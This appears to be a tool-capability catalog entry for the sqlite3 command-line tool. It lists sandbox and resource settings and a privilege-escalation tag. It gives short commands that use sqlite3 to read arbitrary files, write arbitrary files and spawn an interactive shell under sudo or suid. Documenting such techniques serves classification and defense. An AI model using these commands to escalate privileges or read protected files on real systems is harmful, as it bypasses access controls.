SQLite3 database command-line interface; can execute queries, read/write files, and spawn shells.
sqlite3 sqlite3 Sandbox: execFile · Timeout: 30s
system.file.read system.file.write security.privilege-escalation.shell Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Read arbitrary files (sudo, suid, unprivileged)
sqlite3 <<EOF
CREATE TABLE x(x TEXT);
.import /path/to/input-file x
SELECT * FROM x;
EOF Write to arbitrary files (sudo, suid, unprivileged)
sqlite3 /dev/null -cmd '.output /path/to/output-file' 'select "DATA";' Spawn an interactive shell (sudo, suid, unprivileged)
sqlite3 /dev/null '.shell /bin/sh' sqlite3 is a command-line utility. SQLite3 database CLI; can execute arbitrary queries and read files.